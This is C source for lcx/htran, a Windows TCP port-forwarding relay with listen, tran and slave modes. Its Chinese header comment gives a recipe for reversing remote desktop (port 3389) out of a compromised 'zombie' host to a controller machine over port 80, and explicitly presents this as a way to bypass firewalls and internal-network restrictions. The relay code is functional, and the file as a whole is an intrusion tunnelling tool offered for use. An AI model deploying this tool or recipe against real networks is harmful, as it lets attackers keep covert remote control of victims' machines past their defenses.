lcx

// htran.cpp
// 冷卻整理 2015-07-07 17:40:28

/*
用法說明：
[Usage of Packet Transmit:]  lcx.exe -<listen|tran|slave> <option> [-log logfile]

[option:]
  -listen <ConnectPort> <TransmitPort>
  -tran   <ConnectPort> <TransmitHost> <TransmitPort>
  -slave  <ConnectHost> <ConnectPort>  <TransmitHost> <TransmitPort>

備註：
-listen 後面接的兩個端口都是監聽功能，即：被動連接
-tran   這個就是最容易理解的端口轉發功能
-slave  後面接的兩個地址和端口都是指本機要去主動連接的

反彈3389：
1、肉雞上運行：lcx.exe -slave 控制機IP 80 127.0.0.1 3389
2、控制機運行：lcx.exe -listen 80 3389
3、之後在控制機上連接本地的3389即可，這樣做的效果就是通過80端口實現了遠程桌面的功能，而且還是肉雞自己反彈外連出來的，因此能很好的繞過防火牆和內網的限制。
*/

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <errno.h>
#include <signal.h>
#include <io.h>

#pragma comment(lib, "ws2_32.lib")

#define VERSION     "1.00"
#define TIMEOUT     300
#define MAXSIZE     20480 //20KB
#define HOSTLEN     40
#define CONNECTNUM  5

struct transocket
{
    SOCKET fd1;
    SOCKET fd2;
};

//void ver();
//void proxy(int port);

void usage(char *prog);

void getctrlc(int j);
void closeallfd();
void makelog(char *buffer, int length);
int testifisvalue(char *str);

void bind2bind(int port1, int port2);
void bind2conn(int port1, char *host, int port2);
void conn2conn(char *host1, int port1, char *host2, int port2);

int create_socket();
int create_server(int sockfd, int port);
int client_connect(int sockfd, char* server, int port);

void transmitdata(LPVOID data);

extern int errno;

FILE *fp;

int method=0;

VOID main(int argc, char* argv[])
{
    char **p;

    char sConnectHost[HOSTLEN];
    char sTransmitHost[HOSTLEN];

    int iConnectPort=0;
    int iTransmitPort=0;

    char *logfile=NULL;

    memset(sConnectHost, 0, HOSTLEN);
    memset(sTransmitHost, 0, HOSTLEN);

    p=argv;
    while(*p)
    {
        if(_stricmp(*p, "-log") == 0)
        {
            if(testifisvalue(*(p+1)))
            {
                logfile = *(++p);
            }
            else
            {
                printf("[-] ERROR: Must supply logfile name.\r\n");
                return;
            }
            p++;
            continue;
        }

        p++;
    }

    if(logfile !=NULL)
    {
        fp = fopen(logfile,"a");
        if(fp == NULL )
        {
            printf("[-] ERROR: open logfile");
            return;
        }

        makelog("====== Start ======\r\n", 0);
    }

    WSADATA wsadata;
    WSAStartup(MAKEWORD(1, 1), &wsadata);

    signal(SIGINT, &getctrlc);

    if(argc > 2)
    {
        if(_stricmp(argv[1], "-listen") == 0 && argc >= 4)
        {
            iConnectPort = atoi(argv[2]);
            iTransmitPort = atoi(argv[3]);
            method = 1;
        }
        else if(_stricmp(argv[1], "-tran") == 0 && argc >= 5)
        {
            iConnectPort = atoi(argv[2]);
            strncpy(sTransmitHost, argv[3], HOSTLEN);
            iTransmitPort = atoi(argv[4]);
            method = 2;
        }
        else if(_stricmp(argv[1], "-slave") == 0 && argc >= 6)
        {
            strncpy(sConnectHost, argv[2], HOSTLEN);
            iConnectPort = atoi(argv[3]);
            strncpy(sTransmitHost, argv[4], HOSTLEN);
            iTransmitPort = atoi(argv[5]);
            method = 3;
        }
    }

    switch(method)
    {
    case 1:
        bind2bind(iConnectPort, iTransmitPort);
        break;
    case 2:
        bind2conn(iConnectPort, sTransmitHost, iTransmitPort);
        break;
    case 3:
        conn2conn(sConnectHost, iConnectPort, sTransmitHost, iTransmitPort);
        break;
    default:
        usage(argv[0]);
        break;
    }

    if(method)
    {
        closeallfd();
    }

    WSACleanup();

    return;
}

VOID usage(char* prog)
{
    printf("[Usage of Packet Transmit:]\r\n");
    printf(" %s -<listen|tran|slave> <option> [-log logfile]\n\n", prog);
    printf("[option:]\n");
    printf(" -listen <ConnectPort> <TransmitPort>\n");
    printf(" -tran   <ConnectPort> <TransmitHost> <TransmitPort>\n");
    printf(" -slave  <ConnectHost> <ConnectPort>  <TransmitHost> <TransmitPort>\n\n");

    return;
}

//************************************************************************************
//
// test if is value
//
//************************************************************************************
int testifisvalue(char *str)
{
    if(str == NULL ) return(0);

    if(str[0]=='-') return(0);

    return(1);
}

//************************************************************************************
//
// LocalHost:ConnectPort transmit to LocalHost:TransmitPort
//
//************************************************************************************
void bind2bind(int port1, int port2)
{
    SOCKET fd1,fd2,sockfd1,sockfd2;
    struct sockaddr_in client1,client2;
    int size1,size2;

    HANDLE hThread=NULL;
    transocket sock;
    DWORD dwThreadID;

    if((fd1=create_socket())==0) return;
    if((fd2=create_socket())==0) return;

    printf("[+] Listening port %d ......\r\n",port1);
    fflush(stdout);

    if(create_server(fd1, port1)==0)
    {
        closesocket(fd1);
        return;
    }

    printf("[+] Listen OK!\r\n");
    printf("[+] Listening port %d ......\r\n",port2);
    fflush(stdout);

    if(create_server(fd2, port2)==0)
    {
        closesocket(fd2);
        return;
    }

    printf("[+] Listen OK!\r\n");
    size1=size2=sizeof(struct sockaddr);

    while(1)
    {
        printf("[+] Waiting for Client on port:%d ......\r\n",port1);
        if((sockfd1 = accept(fd1,(struct sockaddr *)&client1,&size1))<0)
        {
            printf("[-] Accept1 error.\r\n");
            continue;
        }

        printf("[+] Accept a Client on port %d from %s ......\r\n", port1, inet_ntoa(client1.sin_addr));
        printf("[+] Waiting another Client on port:%d....\r\n", port2);
        if((sockfd2 = accept(fd2, (struct sockaddr *)&client2, &size2))<0)
        {
            printf("[-] Accept2 error.\r\n");
            closesocket(sockfd1);
            continue;
        }

        printf("[+] Accept a Client on port %d from %s\r\n",port2, inet_ntoa(client2.sin_addr));
        printf("[+] Accept Connect OK!\r\n");

        sock.fd1 = sockfd1;
        sock.fd2 = sockfd2;

        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);
        if(hThread == NULL)
        {
            TerminateThread(hThread, 0);
            return;
        }

        Sleep(1000);
        printf("[+] CreateThread OK!\r\n\n");
    }
}

//************************************************************************************
//
// LocalHost:ConnectPort transmit to TransmitHost:TransmitPort
//
//************************************************************************************
void bind2conn(int port1, char *host, int port2)
{
    SOCKET sockfd,sockfd1,sockfd2;
    struct sockaddr_in remote;
    int size;
    char buffer[1024];

    HANDLE hThread=NULL;
    transocket sock;
    DWORD dwThreadID;

    if (port1 > 65535 || port1 < 1)
    {
        printf("[-] ConnectPort invalid.\r\n");
        return;
    }

    if (port2 > 65535 || port2 < 1)
    {
        printf("[-] TransmitPort invalid.\r\n");
        return;
    }

    memset(buffer,0,1024);

    if((sockfd=create_socket()) == INVALID_SOCKET) return;

    if(create_server(sockfd, port1) == 0)
    {
        closesocket(sockfd);
        return;
    }

    size=sizeof(struct sockaddr);
    while(1)
    {
        printf("[+] Waiting for Client ......\r\n");
        if((sockfd1=accept(sockfd,(struct sockaddr *)&remote,&size))<0)
        {
            printf("[-] Accept error.\r\n");
            continue;
        }
        printf("[+] Accept a Client from %s:%d ......\r\n", inet_ntoa(remote.sin_addr), ntohs(remote.sin_port));
        if((sockfd2=create_socket())==0)
        {
            closesocket(sockfd1);
            continue;
        }
        printf("[+] Make a Connection to %s:%d ......\r\n",host,port2);
        fflush(stdout);
        if(client_connect(sockfd2,host,port2)==0)
        {
            closesocket(sockfd2);
            sprintf(buffer,"[SERVER]connection to %s:%d error\r\n", host, port2);
            send(sockfd1,buffer,strlen(buffer),0);
            memset(buffer, 0, 1024);
            closesocket(sockfd1);
            continue;
        }

        printf("[+] Connect OK!\r\n");

        sock.fd1 = sockfd1;
        sock.fd2 = sockfd2;

        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);
        if(hThread == NULL)
        {
            TerminateThread(hThread, 0);
            return;
        }

        Sleep(1000);
        printf("[+] CreateThread OK!\r\n\n");
    }
}

//************************************************************************************
//
// ConnectHost:ConnectPort transmit to TransmitHost:TransmitPort
//
//************************************************************************************
void conn2conn(char *host1,int port1,char *host2,int port2)
{
    SOCKET sockfd1,sockfd2;

    HANDLE hThread=NULL;
    transocket sock;
    DWORD dwThreadID;
    fd_set fds;
    int l;
    char buffer[MAXSIZE];

    while(1)
    {
        if((sockfd1=create_socket())==0) return;
        if((sockfd2=create_socket())==0) return;

        printf("[+] Make a Connection to %s:%d....\r\n",host1,port1);
        fflush(stdout);
        if(client_connect(sockfd1,host1,port1)==0)
        {
            closesocket(sockfd1);
            closesocket(sockfd2);
            continue;
        }

        // fix by bkbll
        // if host1:port1 recved data, than connect to host2,port2
        l=0;
        memset(buffer,0,MAXSIZE);
        while(1)
        {
            FD_ZERO(&fds);
            FD_SET(sockfd1, &fds);

            if (select(sockfd1+1, &fds, NULL, NULL, NULL) == SOCKET_ERROR)
            {
                if (errno == WSAEINTR) continue;
                break;
            }
            if (FD_ISSET(sockfd1, &fds))
            {
                l=recv(sockfd1, buffer, MAXSIZE, 0);
                break;
            }
            Sleep(5);
        }

        if(l<=0)
        {
            printf("[-] There is a error...Create a new connection.\r\n");
            continue;
        }
        while(1)
        {
            printf("[+] Connect OK!\r\n");
            printf("[+] Make a Connection to %s:%d....\r\n", host2,port2);
            fflush(stdout);
            if(client_connect(sockfd2,host2,port2)==0)
            {
                closesocket(sockfd1);
                closesocket(sockfd2);
                continue;
            }

            if(send(sockfd2,buffer,l,0)==SOCKET_ERROR)
            {
                printf("[-] Send failed.\r\n");
                continue;
            }

            l=0;
            memset(buffer,0,MAXSIZE);
            break;
        }

        printf("[+] All Connect OK!\r\n");

        sock.fd1 = sockfd1;
        sock.fd2 = sockfd2;

        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);
        if(hThread == NULL)
        {
            TerminateThread(hThread, 0);
            return;
        }

        Sleep(1000);
        printf("[+] CreateThread OK!\r\n\n");
    }
}

//************************************************************************************
//
// Socket Transmit to Socket
//
//************************************************************************************
void transmitdata(LPVOID data)
{
    SOCKET fd1, fd2;

    transocket *sock;
    struct timeval timeset;
    fd_set readfd,writefd;

    int result,i=0;

    char read_in1[MAXSIZE],send_out1[MAXSIZE];
    char read_in2[MAXSIZE],send_out2[MAXSIZE];

    int read1=0,totalread1=0,send1=0;
    int read2=0,totalread2=0,send2=0;

    int sendcount1,sendcount2;

    int maxfd;

    struct sockaddr_in client1,client2;
    int structsize1,structsize2;

    char host1[20],host2[20];
    int port1=0,port2=0;

    char tmpbuf[100];

    sock = (transocket *)data;
    fd1 = sock->fd1;
    fd2 = sock->fd2;

    memset(host1,0,20);
    memset(host2,0,20);
    memset(tmpbuf,0,100);

    structsize1=sizeof(struct sockaddr);
    structsize2=sizeof(struct sockaddr);

    if(getpeername(fd1,(struct sockaddr *)&client1,&structsize1)<0)
    {
        strcpy(host1, "fd1");
    }
    else
    {
        strcpy(host1, inet_ntoa(client1.sin_addr));
        port1=ntohs(client1.sin_port);
    }

    if(getpeername(fd2,(struct sockaddr *)&client2,&structsize2)<0)
    {
        strcpy(host2,"fd2");
    }
    else
    {
        strcpy(host2, inet_ntoa(client2.sin_addr));
        port2=ntohs(client2.sin_port);
    }

    printf("[+] Start Transmit (%s:%d <-> %s:%d) ......\r\n\n", host1, port1, host2, port2);

    maxfd=max(fd1,fd2)+1;
    memset(read_in1,0,MAXSIZE);
    memset(read_in2,0,MAXSIZE);
    memset(send_out1,0,MAXSIZE);
    memset(send_out2,0,MAXSIZE);

    timeset.tv_sec=TIMEOUT;
    timeset.tv_usec=0;

    while(1)
    {
        FD_ZERO(&readfd);
        FD_ZERO(&writefd);

        FD_SET((UINT)fd1, &readfd);
        FD_SET((UINT)fd1, &writefd);
        FD_SET((UINT)fd2, &writefd);
        FD_SET((UINT)fd2, &readfd);

        result=select(maxfd,&readfd,&writefd,NULL,&timeset);
        if((result<0) && (errno!=EINTR))
        {
            printf("[-] Select error.\r\n");
            break;
        }
        else if(result==0)
        {
            printf("[-] Socket time out.\r\n");
            break;
        }

        if(FD_ISSET(fd1, &readfd))
        {
            /* must < MAXSIZE-totalread1, otherwise send_out1 will flow */
            if(totalread1<MAXSIZE)
            {
                read1=recv(fd1, read_in1, MAXSIZE-totalread1, 0);
                if((read1==SOCKET_ERROR) || (read1==0))
                {
                    printf("[-] Read fd1 data error,maybe close?\r\n");
                    break;
                }

                memcpy(send_out1+totalread1,read_in1,read1);
                sprintf(tmpbuf,"\r\nRecv %5d bytes from %s:%d\r\n", read1, host1, port1);
                printf(" Recv %5d bytes %16s:%d\r\n", read1, host1, port1);

                makelog(tmpbuf,strlen(tmpbuf));
                makelog(read_in1,read1);

                totalread1+=read1;
                memset(read_in1,0,MAXSIZE);
            }
        }

        if(FD_ISSET(fd2, &writefd))
        {
            int err=0;
            sendcount1=0;
            while(totalread1>0)
            {
                send1=send(fd2, send_out1+sendcount1, totalread1, 0);

                if(send1==0) break;

                if((send1<0) && (errno!=EINTR))
                {
                    printf("[-] Send to fd2 unknow error.\r\n");
                    err=1;
                    break;
                }

                if((send1<0) && (errno==ENOSPC)) break;

                sendcount1+=send1;
                totalread1-=send1;

                printf(" Send %5d bytes %16s:%d\r\n", send1, host2, port2);
            }

            if(err==1) break;

            if((totalread1>0) && (sendcount1>0))
            {
                /* move not sended data to start addr */
                memcpy(send_out1,send_out1+sendcount1,totalread1);
                memset(send_out1+totalread1,0,MAXSIZE-totalread1);
            }
            else
            {
                memset(send_out1,0,MAXSIZE);
            }
        }

        if(FD_ISSET(fd2, &readfd))
        {
            if(totalread2<MAXSIZE)
            {
                read2=recv(fd2,read_in2,MAXSIZE-totalread2, 0);

                if(read2==0) break;

                if((read2<0) && (errno!=EINTR))
                {
                    printf("[-] Read fd2 data error,maybe close?\r\n\r\n");
                    break;
                }

                memcpy(send_out2+totalread2,read_in2,read2);
                sprintf(tmpbuf, "\r\nRecv %5d bytes from %s:%d\r\n", read2, host2, port2);
                printf(" Recv %5d bytes %16s:%d\r\n", read2, host2, port2);

                makelog(tmpbuf,strlen(tmpbuf));
                makelog(read_in2,read2);

                totalread2+=read2;
                memset(read_in2,0,MAXSIZE);
            }
        }

        if(FD_ISSET(fd1, &writefd))
        {
            int err2=0;
            sendcount2=0;
            while(totalread2>0)
            {
                send2=send(fd1, send_out2+sendcount2, totalread2, 0);

                if(send2==0) break;

                if((send2<0) && (errno!=EINTR))
                {
                    printf("[-] Send to fd1 unknow error.\r\n");
                    err2=1;
                    break;
                }

                if((send2<0) && (errno==ENOSPC)) break;

                sendcount2+=send2;
                totalread2-=send2;

                printf(" Send %5d bytes %16s:%d\r\n", send2, host1, port1);
            }

            if(err2==1) break;
            if((totalread2>0) && (sendcount2 > 0))
            {
                /* move not sended data to start addr */
                memcpy(send_out2, send_out2+sendcount2, totalread2);
                memset(send_out2+totalread2, 0, MAXSIZE-totalread2);
            }
            else
            {
                memset(send_out2,0,MAXSIZE);
            }
        }

        Sleep(5);
    }

    closesocket(fd1);
    closesocket(fd2);

    printf("\r\n[+] OK! I Closed The Two Socket.\r\n");
}

int create_socket()
{
    int sockfd;

    sockfd=socket(AF_INET,SOCK_STREAM,0);
    if(sockfd<0)
    {
        printf("[-] Create socket error.\r\n");
        return(0);
    }

    return(sockfd);
}

int create_server(int sockfd,int port)
{
    struct sockaddr_in srvaddr;
    int on=1;

    memset(&srvaddr, 0, sizeof(struct sockaddr));

    srvaddr.sin_port=htons(port);
    srvaddr.sin_family=AF_INET;
    srvaddr.sin_addr.s_addr=htonl(INADDR_ANY);

    setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR, (char*)&on,sizeof(on)); //so I can rebind the port

    if(bind(sockfd,(struct sockaddr *)&srvaddr,sizeof(struct sockaddr))<0)
    {
        printf("[-] Socket bind error.\r\n");
        return(0);
    }

    if(listen(sockfd,CONNECTNUM)<0)
    {
        printf("[-] Socket Listen error.\r\n");
        return(0);
    }

    return(1);
}

int client_connect(int sockfd,char* server,int port)
{
    struct sockaddr_in cliaddr;
    struct hostent *host;

    if(!(host=gethostbyname(server)))
    {
        printf("[-] Gethostbyname(%s) error:%s\n",server,0);
        return(0);
    }

    memset(&cliaddr, 0, sizeof(struct sockaddr));
    cliaddr.sin_family=AF_INET;
    cliaddr.sin_port=htons(port);
    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);

    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
    {
        printf("[-] Connect error.\r\n");
        return(0);
    }
    return(1);
}

void makelog(char *buffer,int length)
{
    if (0 == length)
    {
        length = strlen(buffer);
    }

    if (fp != NULL)
    {
        _write(_fileno(fp),buffer,length);
    }
}

void getctrlc(int j)
{
    printf("\r\n[-] Received Ctrl+C\r\n");
    closeallfd();
    exit(0);
}

void closeallfd()
{
    int i;

    printf("[+] Let me exit ......\r\n");
    fflush(stdout);

    for(i=3; i<256; i++)
    {
        closesocket(i);
    }

    if(fp != NULL)
    {
        fprintf(fp,"\r\n====== Exit ======\r\n");
        fclose(fp);
    }

    printf("[+] All Right!\r\n");
}